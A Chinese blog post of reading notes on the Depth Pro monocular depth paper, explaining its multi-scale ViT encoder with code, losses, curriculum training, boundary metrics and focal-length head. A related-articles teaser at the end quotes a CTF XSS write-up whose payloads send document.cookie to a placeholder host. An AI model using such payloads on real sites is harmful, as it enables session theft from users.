论文阅读笔记:Depth Pro: Sharp Monocular Metric Depth in Less Than a Second

news2024/11/25 2:29:23

论文阅读笔记:Depth Pro: Sharp Monocular Metric Depth in Less Than a Second

  • 1 背景
    • 1.1 动机
    • 1.2 提出的方法
  • 2 创新点
  • 3 方法
  • 4 模块
    • 4.1 训练目标
    • 4.2 课程训练
  • 4.3 边缘评价指标
    • 4.4 焦距估计
  • 5 效果
    • 5.1 和SOTA方法的对比

论文:https://arxiv.org/abs/2410.02073
代码:https://github.com/apple/ml-depth-pro

1 背景

1.1 动机

单幅图像新视图合成的应用暗含了许多单目深度估计待解决的问题。

首先单目深度估计应该零样本地在任何图像上工作,不局限于特定的域,理想的在零样本下生成深度估计图。为了最广泛的“野外”适用性,该方法应该产生绝对尺度,即使没有提供相机内参。这样就可以实现试图合成场景,如从63毫米外合成该场景的视图。

其次,单目深度估计器应该在高分辨率下操作,并产生与图像细节紧密相关的细粒度深度图,如头发,皮毛等。生成精确跟踪细节的锐利深度图的一个好处是消除了“飞行像素”,这在视图合成中会降低图像质量。

第三,需要交互式应用场景,深度估计器应该在低延迟下运行,在不到1秒的时间内处理一张高分辨率图像,以支持交互式视图合成的按需查询。

1.2 提出的方法

在这项工作中,作者提出了一个满足以上所有需求的零样本单目估计基础模型,Depth Pro,在不需要相机内参等数据的情况下,在任意“野外”图像上生成具有绝对尺度的高分辨率深度估计图。在V100 GPU上以0.3秒的速度产生2.25M像素深度图。图1给出了一些具有代表性的结果。Depth Pro在锐利地描绘物体边界方面显著由于之前的所有工作,包括如头发,皮毛和植被等细微结构。
在这里插入图片描述

如图2所示,Depth Pro提供了无与伦比的边界追踪,在边界召回中超过了之前所有的工作,相比于目前最先进的边界精读,Depth Pro速度快了1~2个数量级,边界精读更高,提供了具有绝对尺度的深度估计图。
在这里插入图片描述

2 创新点

  • 设计了一种高效的基于多尺度的ViT框架,用于捕获全局图像上下文,同时在高分辨率下也能预测出精细的结构。

  • 提出了一套新的度量标准,可以利用高精度的抠图数据集来量化在评估单目深度图中边界跟踪的准确性。

  • 设计了一组损失函数和训练方法,以促进锐利深度估计,同时在集提供了粗略的和不准确的边界监督的真实世界数据集上,以及提供了精确的像素级GT但是真实性有限的合成数据集上训练。

  • 从单幅图像中实现了零样本焦距估计,其性能显著优于现有技术。

3 方法

在这里插入图片描述

核心思想是将普通的ViT编码器应用在多个尺度提取的块上,并将块预测融合到一个端到端的可训练模型中的单个高分辨率密集预测中。架构如图3所示。

为了预测深度,作者使用了两个ViT编码器,一个块编码器和一个图像编码器。

  • 块编码器应用于多个尺度下提取的块。从直接上将,这可能允许学习的表示是尺度不变的,因为权重是跨尺度共享的。

  • 图像编码器将块预测锚定在全局上下文中。他应用于整个输入图像, 下采样到所选择的编码器主干的基本输入分辨率(本文是384×384)。

整个网络的固定分辨率为 1536×1536,他被选定为 ViT 的 384×384 的倍数。这就保证了足够大的感受野和对任意图像的恒定运行时间,同时防止了超出显存问题。

降采样到 1536×1536,768×768 和 384 ×384 后,输入图像被分割成大小为 384×384 的块,为了避免接缝,对于最精细的两个尺度,作者分割时采用重叠划分的方式。在每个尺度下,块被输入到块编码器中,为每个块(图3中的特征3-5)产生一个 24 ×24 大小的特征张量,在最精细的尺度上作者进一步提取中间特征(图3中的特征1和2)以捕获更细粒度的细节。

这里感觉原文说的不是很清楚,可以看代码 https://github.com/apple/ml-depth-pro/blob/main/src/depth_pro/network/encoder.py#L247

代码中的 x_latent0_featuresx_latent1_featuresx0_features x1_features x3_features 分别表示图 3 中的 feature 1-5。

  # Step 0: create a 3-level image pyramid.
  x0, x1, x2 = self._create_pyramid(x)
  # Step 1: split to create batched overlapped mini-images at the backbone (BeiT/ViT/Dino) resolution.
  # 5x5 @ 384x384 at the highest resolution (1536x1536).
  x0_patches = self.split(x0, overlap_ratio=0.25)
  # 3x3 @ 384x384 at the middle resolution (768x768).
  x1_patches = self.split(x1, overlap_ratio=0.5)
  # 1x1 # 384x384 at the lowest resolution (384x384).
  x2_patches = x2
  
  # Concatenate all the sliding window patches and form a batch of size (35=5x5+3x3+1x1).
  x_pyramid_patches = torch.cat(
  		(x0_patches, x1_patches, x2_patches),
  		dim=0,
  )
  # Step 2: Run the backbone (BeiT) model and get the result of large batch size.
  x_pyramid_encodings = self.patch_encoder(x_pyramid_patches)
  x_pyramid_encodings = self.reshape_feature(
		x_pyramid_encodings, self.out_size, self.out_size
  )
  # Step 3: merging.
  # Merge highres latent encoding.
  x_latent0_encodings = self.reshape_feature(
  		self.backbone_highres_hook0,   # 中间特征
  		self.out_size,
  		self.out_size,
  )
  x_latent0_features = self.merge(
  		x_latent0_encodings[: batch_size * 5 * 5], batch_size=batch_size, padding=3
  )
  
   x_latent1_encodings = self.reshape_feature(
  		self.backbone_highres_hook1,   # 中间特征
  		self.out_size,
  		self.out_size,
  )
  x_latent1_features = self.merge(
  		x_latent1_encodings[: batch_size * 5 * 5], batch_size=batch_size, padding=3
  )
  # Split the 35 batch size from pyramid encoding back into 5x5+3x3+1x1.
  x0_encodings, x1_encodings, x2_encodings = torch.split(
  		x_pyramid_encodings,
  		[len(x0_patches), len(x1_patches), len(x2_patches)],
  		dim=0,
  )
  
  # 96x96 feature maps by merging 5x5 @ 24x24 patches with overlaps.
  x0_features = self.merge(x0_encodings, batch_size=batch_size, padding=3)
  
  # 48x84 feature maps by merging 3x3 @ 24x24 patches with overlaps.
  x1_features = self.merge(x1_encodings, batch_size=batch_size, padding=6)
  
  # 24x24 feature maps.
  x2_features = x2_encodings

过了Patch编码器后,共 (5×5×2) + (5×5+3×3+1) 个patch。

  • 5×5×2 表示,作者用最精细的1536分辨率上拆分的 5×5 的块用编码器编码时,保留了中间 2 层的特征,并将其输出,按重叠划分的逆过程又合并回去

  • 5×5+3×3+1表示,各个尺度下的特征经过编码后,最后一层输出的特征,然后再合并回去

除了跨尺度共享表示外,编码器网络的基于patch的应用支持并行化,因为patch可以独立处理。计算效率的另一个来源是,与将ViT扩展到更高分辨率相比,基于patch处理的计算复杂度更低。因为多头注意力计算复杂度是输入像素数量的二次方,因此在图像维度上呈4次方关系。

4 模块

4.1 训练目标

对于每一个输入图像 I I I,网络 f f f 预测一个标准的逆深度图像 C = f ( I ) C=f(I) C=f(I)。为了获得稠密的深度估计图 D m D_m Dm ,作者用水平视角来缩放,并用焦距 f p x f_{px} fpx 和 宽度 w w w 来表示: D m = f p x w C D_m = \frac{f_{px}}{wC} Dm=wCfpx

出自论文《Metric3D: Towards zero-shot metric 3D prediction from a single image》

作者使用多个目标进行训练,所有这些目标都是基于典型的逆深度,因为这将优先考虑靠近相机的区域,而不是更远的区域或者整个场景、设 c ^ \hat{c} c^ 为GT,对于所有度量数据集,计算每个像素 i i i 的平均绝对误差,对于真实世界数据集,每张图中丢弃误差top 20%的像素:
在这里插入图片描述

误差top20%的像素一般是比较远的像素。

对于所有非度量数据集(即没有可靠的相机内参或尺度不一致),在计算损失之前,先通过与中位数的平均绝对误差来归一化预测和GT。

出自论文《Towards robust monocular depth estimation: Mixing datasets for zero-shot cross-dataset transfer》

在这里插入图片描述

在这里插入图片描述
归一化来规避绝对尺度不准的问题,变成相对尺度

作者进一步计算多尺度下逆深度图的一阶导数和二阶导数的误差,令 KaTeX parse error: Undefined control sequence: \* at position 3: ▽_\̲*̲ 表示空间导数算子,如scharr(S) 或 laplace(L), p p p 表示误差范数,M尺度上的多尺度导数损失定义为:
在这里插入图片描述

其中尺度 j j j 是通过模糊和下采样逆深度图来计算得到的,每个尺度的因子为2,为了简写,定义平均梯度误差 L M A G E = L S , 1 , 6 L_{MAGE}=L_{S,1,6} LMAGE=LS,1,6,平均绝对拉普拉斯误差 L M A L E = L L , 1 , 6 L_{MALE}=L_{L,1,6} LMALE=LL,1,6,均方梯度误差 L M S G E = L S , 2 , 6 L_{MSGE}=L_{S,2,6} LMSGE=LS,2,6

4.2 课程训练

课程训练旨在通过逐步引入越来越难的样本或任务,帮助模型逐渐学习到复杂的模式和规律。提出课程训练的动机如下:

  • 在真实数据和合成数据的大量混合数据集上训练提高了零样本的泛化能力。

  • 人工合成的数据集能够提供精确的像素级GT,而真实世界的训练集往往包含缺失、不匹配的深度和物体边界上的错误估计。

  • 预测会随着训练过程越来越好。

基于这些观察,作者设计了一个二阶段的训练课程。第一阶段,我们的学习目标是学习鲁棒的特征,使网络能够跨领域泛化。为此,作者在所有已标记的训练集的混合上进行训练,在度量数据集上最小化 L M A E L_{MAE} LMAE,在非度量数据集上最小化 L M A E L_{MAE} LMAE 的归一化版本。 L M A E L_{MAE} LMAE 因其在处理损坏的真实世界GT时的鲁棒性而被选择,为了使网络预测朝向锐利地边界,作者也对预测到的梯度进行监督。然而这会阻碍优化,减缓收敛。作者发现仅应用于合成数据的尺度和平移不变梯度损失效果会更好。

第二阶段的训练旨在锐化边界并揭示预测深度图中的细节。为了尽量减少不准确的GT的影响,现阶段只在高质量的像素级GT的合成数据上训练(虽然这点到了在合成数据上先训练,然后在真实数据上微调的普遍做法)。具体来说,再次最小化 L M A E L_{MAE} LMAE 的同时,在 L M A G E L_{MAGE} LMAGE L M A L E L_{MALE} LMALE L M S G E L_{MSGE} LMSGE 的一阶和二阶导数上选择损失进行补充。

4.3 边缘评价指标

新视图合成等应用需要深度图与物体边界保持一致。不对齐活模糊的边界会使得物体出现扭曲或分裂。常见的单目深度估计很少考虑边界清晰度,这可能是因为缺乏多样的和真实的,且具备像素级别GT的数据集。为了解决这个问题,作者专门提出了一套用于深度深度边界的指标。作者利用现有的高质量的抠图,显著性检测或分割任务的标注作为深度深度边界的基础真值,将这些任务的标注视为二值化图,定义了对象与其环境之间的前后背景关系。这种关系在任何情况下都可能不成立,尤其是对于分割掩码,作者通过人工检查很容易的丢弃了这种有问题的案例。为了保证关系成立,作者只考虑二值化图中边缘周围的像素。

作者使用相邻像素的成对深度比来定义前后背景关系。令 i , j i,j i,j 为向量的两个像素的位置,定义一个由深度图 d d d 导出的遮挡轮廓 c d c_d cd c d ( i , j ) = [ d j d i > ( 1 + t 100 ) ] c_d(i,j)=[\frac{d_j}{d_i}>(1+\frac{t}{100})] cd(i,j)=[didj>(1+100t)] ,其中 [ ⋅ ] [·] []表示满足条件为1,不满足条件为0。直观地说,如果像素 i i i j j j 对应的深度相差超过了 t t t%,这表明像素 i i i j j j 之间存在轮廓遮挡,对于所有的相邻像素对,可以计算精确率 P P P 和召回率 R R R 为:
在这里插入图片描述

在本文实验中,根据 P P P R R R 再计算了 F 1 F1 F1。为了考虑多个相对深度比,作者对 F 1 F1 F1 进行了加权,阈值从 t m i n = 5 t_{min}=5 tmin=5 t m a x = 25 t_{max}=25 tmax=25,对高阈值具有更强的权重。这种度量方式不需要任何手动标注,而是简单的通过合成数据来获得像素级GT。

类似地,我们也可以从二进制标签图中识别遮挡轮廓,这些标签图可以从真实世界的分割、显著性检测和抠图数据集中获得。给定图像上的二值掩膜 b b b,定义像素 i , j i,j i,j 之间存在遮挡轮廓 c b c_b cb c b ( i , j ) = b ( i ) ∧ ¬ b ( j ) c_b(i,j)=b(i)∧¬b(j) cb(i,j)=b(i)¬b(j)。利用这个定义,通过替换公式(3)中深度图的遮挡轮廓来计算召回。由于二值图通常标记整个物体,我们无法获得与物体轮廓不对齐的真实遮挡轮廓。因此,只能计算召回率,而不能计算精确率。

比如某个对象表面的深度变化明显,但通过二值图只能获得其边缘的轮廓。

4.4 焦距估计

为了处理可能存在源数据不准确或丢失的图像,在网络中添加了一个焦距估计头。一个小的卷积头从深度估计网络中提取冻结的特征和从单独的ViT图像编码器中提取的特征来预测水平角度视图的焦距。使用 L 2 L_2 L2 损失作为训练损失。深度估计训练完成后,再对焦距头和ViT编码器进行训练。分离焦距训练的好处是:避免了深度和焦距训练目标平衡的必要性,还允许在不同数据集上训练焦距头。

5 效果

5.1 和SOTA方法的对比

和SOTA方法对比深度准确率。
在这里插入图片描述

和SOTA方法对比边缘准确率。
在这里插入图片描述

和SOTA方法对比焦距估计。
在这里插入图片描述

用于单目新视图合成的效果。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2236531.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python练习13

Python日常练习 题目: 请编写fun函数,其功能是打印杨辉三角形。杨辉三角行如图所示: 1 1 1 1 2 1 1 3 3 1 1 4 6 4 1 要求: 采用列表函数完成 -----------------------------------…

第18篇 :深入剖析systemverilog中 randomize 失败案例启示录(一)

经过前面章节的理论学习,我们对systemverilog中的随机约束,有一定的了解,那么,今天开始,着重讲述一些工作中遇到的困惑。主要通过一些例子,层层递进,举一反三,源于实践,剖…

ArcGIS软件之“计算面积几何”地图制作

一、消防站的泰森多边形 效果图: 二、人口调查的泰森多边形 确定后效果图: 三、人口调查的泰森多边形属性设置 确定后的效果图: 四、计算面积几何,用于求密度 先添加字段area_1,然后设置浮点型及字段属性 五…

ctfshow(319->326)--XSS漏洞--反射型XSS

Web319 思路 先测试过滤&#xff0c;发现过滤了script、img&#xff0c;没有过滤body&#xff0c;svg payload: <body onload"location.hrefhttp://xx.xx.xx.xx/flag.php?cookiedocument.cookie"/><svg onload"location.hrefhttp://xx.xx.xx.xx/fla…

大数据新视界 -- 大数据大厂之 Impala 性能优化:融合机器学习的未来之路(上 (2-2))(11/30)

&#x1f496;&#x1f496;&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎你们来到 青云交的博客&#xff01;能与你们在此邂逅&#xff0c;我满心欢喜&#xff0c;深感无比荣幸。在这个瞬息万变的时代&#xff0c;我们每个人都在苦苦追寻一处能让心灵安然栖息的港湾。而 我的…

数据结构-并查集专题(2)

一、前言 接&#xff08;1&#xff09;完成剩余题目和了解并查集运用求解最小生成树的Kruskal算法 二、专题训练 2.1 题目总览 前四题见&#xff08;1&#xff09; 2.2 1568: 并查集-家谱 思路 首先这个题目的描述就有问题&#xff0c;它说每一组的父子关系由两行组成&…

【销帮帮-注册_登录安全分析报告-试用页面存在安全隐患】

联通支付注册/登录安全分析报告 前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 暴力破解密码&#xff0c;造成用户信息泄露短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨…

中安OCR电子行驶证、驾驶证识别,助力便捷出行与智慧交通

随着数字化技术在各行各业的深入应用&#xff0c;交通管理领域也迈入了新的时代。OCR电子行驶证和电子驾驶证的推出&#xff0c;不仅提升了车辆及驾驶证件管理的效率&#xff0c;更大大方便了车主出行。电子证件的普及&#xff0c;使得交通管理从“实体化”逐渐走向“数字化”&…

《深度学习神经网络:颠覆生活的魔法科技与未来发展新航向》

深度学习神经网络对我们生活的影响 一、医疗领域 深度学习神经网络在医疗领域的应用可谓意义重大。在疾病诊断方面&#xff0c;它能够精准分析医疗影像&#xff0c;如通过对大量的 CT、MRI 图像进行深度学习&#xff0c;快速准确地识别出微小的肿瘤病变&#xff0c;为医生提供…

基于 SSM(Spring + Spring MVC + MyBatis)框架构建电器网上订购系统

基于 SSM&#xff08;Spring Spring MVC MyBatis&#xff09;框架构建电器网上订购系统可以为用户提供一个方便快捷的购物平台。以下将详细介绍该系统的开发流程&#xff0c;包括需求分析、技术选型、数据库设计、项目结构搭建、主要功能实现以及前端页面设计。 需求分析 …

C++入门基础知识142—【关于C++ 友元函数】

成长路上不孤单&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a; 【14后&#x1f60a;///C爱好者&#x1f60a;///持续分享所学&#x1f60a;///如有需要欢迎收藏转发///&#x1f60a;】 今日分享关于C 友元函数的相关内容&#xff01; 关于…

密码学是如何保护数据传输的安全性?

密码学通过一系列算法和协议来保护数据传输的安全性。 一、加密技术 对称加密算法 原理&#xff1a;使用相同的密钥进行加密和解密。应用&#xff1a;在数据传输过程中&#xff0c;发送方和接收方共享一个密钥&#xff0c;数据在传输前被加密&#xff0c;接收方使用相同的密钥…

让Apache正确处理不同编码的文件避免中文乱码

安装了apache2.4.39以后&#xff0c;默认编码是UTF-8&#xff0c;不管你文件是什么编码&#xff0c;统统按这个来解析&#xff0c;因此 GB2312编码文件内的中文将显示为乱码。 <!doctype html> <html> <head><meta http-equiv"Content-Type" c…

SCUI Admin + Laravel 整合

基于 Vue3 和 Element Plus 和 Laravel 整合开发 项目地址&#xff1a;持续更新 LaravelVueProject: laravel vue3 scui

51单片机应用开发(进阶)---定时器应用(电子时钟)

实现目标 1、巩固定时器的配置流程&#xff1b; 2、掌握按键、数码管与定时器配合使用&#xff1b; 3、功能1&#xff1a;&#xff08;1&#xff09;简单显示时间。显示格式&#xff1a;88-88-88&#xff08;时-分-秒&#xff09; 4、功能2&#xff1a;&#xff08;1&#…

移植 AWTK 到 纯血鸿蒙 (HarmonyOS NEXT) 系统 (9) - 编译现有的AWTK应用程序

AWTK 应用程序开发完成后&#xff0c;在配置文件中添加 harmonyos 的选项&#xff0c;通过create_project.py脚本即可生成 DevEco Studio的工程。 安装开发环境 DevEco Studio HarmonyOS 的开发工具。 Python 运行环境。 git 源码管理工具。 下载 awtk 和 awtk-harmonyos…

江苏博才众创科技产业园集团拟投资10亿元在泰兴打造汽车零部件产业园

2024年11月7日&#xff0c;泰兴市高新技术产业开发区与江苏博才众创科技产业园集团举行新能源汽车零部件智能制造产业园项目签约仪式。 泰兴市高新区党工委委员、管理办副主任王峰表示&#xff1a;高新区是全市项目建设的主阵地&#xff0c;近年来聚焦高端化、智能化、绿色化&a…

计算机毕业设计项目推荐,应届毕业生求职网站 80757 上万套实战教程手把手教学JAVA、PHP,node.js,C++、python、大屏

摘要 信息化社会内需要与之针对性的信息获取途径&#xff0c;但是途径的扩展基本上为人们所努力的方向&#xff0c;由于站在的角度存在偏差&#xff0c;人们经常能够获得不同类型信息&#xff0c;这也是技术最为难以攻克的课题。针对应届毕业生求职网站管理等问题&#xff0c;…

OceanBase详解及如何通过MySQL的lib库进行连接

OceanBase详解及如何通过MySQL的lib库进行连接 一、引言二、OceanBase概述1. 起源与发展2. 核心技术特点3. 应用场景三、OceanBase架构解析1. 系统架构2. 存储引擎3. 分布式架构四、如何使用MySQL的lib库连接OceanBase1. 前提条件2. 安装MySQL Connector/C3. 编写连接代码4. 编…

Trimble X12三维激光扫描仪正在改变游戏规则【上海沪敖3D】

Trimble X12 三维激光扫描仪凭借清晰、纯净的点云数据和亚毫米级的精度正在改变游戏规则。今天的案例我们将与您分享&#xff0c;X12是如何帮助专业测量咨询公司OR3D完成的一个模拟受损平转桥运动的项目。 由于习惯于以微米为单位工作&#xff0c;专业测量机构OR3D是一家要求…